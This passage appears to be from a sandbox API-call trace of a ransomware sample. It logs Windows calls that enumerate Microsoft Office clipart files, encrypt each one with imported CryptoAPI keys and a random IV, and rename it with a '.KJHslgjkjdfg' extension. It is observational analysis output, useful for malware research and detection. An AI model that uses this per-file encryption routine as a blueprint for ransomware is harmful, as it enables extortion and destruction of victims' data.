(HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.608] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.608] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0204.610] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.610] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.610] GetProcessHeap () returned 0x2ef0000 [0204.610] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.610] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.610] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.610] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.611] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.611] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.611] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.611] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.611] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.611] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.611] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe2e9, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe2e9, lpOverlapped=0x0) returned 1 [0204.612] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe2f0, dwBufLen=0xe2f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe2f0) returned 1 [0204.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.613] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe2f0, lpOverlapped=0x0) returned 1 [0204.613] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.613] SetEndOfFile (hFile=0x130) returned 1 [0204.616] GetProcessHeap () returned 0x2ef0000 [0204.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.616] GetProcessHeap () returned 0x2ef0000 [0204.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.kjhslgjkjdfg")) returned 1 [0204.617] CloseHandle (hObject=0x130) returned 1 [0204.617] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0204.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.618] GetProcessHeap () returned 0x2ef0000 [0204.618] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.618] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.619] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.620] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.620] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.620] GetProcessHeap () returned 0x2ef0000 [0204.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.621] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.621] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.621] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.621] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.621] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.621] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.621] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.621] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.621] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.621] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x65a6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x65a6, lpOverlapped=0x0) returned 1 [0204.625] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x65b0, dwBufLen=0x65b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x65b0) returned 1 [0204.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.625] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x65b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x65b0, lpOverlapped=0x0) returned 1 [0204.626] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.626] SetEndOfFile (hFile=0x130) returned 1 [0204.628] GetProcessHeap () returned 0x2ef0000 [0204.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.628] GetProcessHeap () returned 0x2ef0000 [0204.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.kjhslgjkjdfg")) returned 1 [0204.630] CloseHandle (hObject=0x130) returned 1 [0204.630] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0204.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.632] GetProcessHeap () returned 0x2ef0000 [0204.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.632] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.632] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.634] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.634] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.634] GetProcessHeap () returned 0x2ef0000 [0204.634] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.634] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.634] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.634] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.634] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.634] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.635] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.635] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.635] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x918c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x918c, lpOverlapped=0x0) returned 1 [0204.637] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9190, dwBufLen=0x9190 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9190) returned 1 [0204.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.637] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9190, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9190, lpOverlapped=0x0) returned 1 [0204.637] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.637] SetEndOfFile (hFile=0x130) returned 1 [0204.640] GetProcessHeap () returned 0x2ef0000 [0204.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.640] GetProcessHeap () returned 0x2ef0000 [0204.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.kjhslgjkjdfg")) returned 1 [0204.642] CloseHandle (hObject=0x130) returned 1 [0204.642] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0204.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.644] GetProcessHeap () returned 0x2ef0000 [0204.644] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.644] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.646] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.646] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.646] GetProcessHeap () returned 0x2ef0000 [0204.646] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.647] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.647] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.647] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.647] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.647] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.647] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.647] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.647] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.647] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.647] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1daa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1daa, lpOverlapped=0x0) returned 1 [0204.648] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1db0) returned 1 [0204.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.648] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1db0, lpOverlapped=0x0) returned 1 [0204.649] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.649] SetEndOfFile (hFile=0x130) returned 1 [0204.651] GetProcessHeap () returned 0x2ef0000 [0204.652] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.652] GetProcessHeap () returned 0x2ef0000 [0204.652] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.kjhslgjkjdfg")) returned 1 [0204.653] CloseHandle (hObject=0x130) returned 1 [0204.653] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0204.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.654] GetProcessHeap () returned 0x2ef0000 [0204.654] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.654] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.656] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.656] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.656] GetProcessHeap () returned 0x2ef0000 [0204.656] RtlAllocateHeap 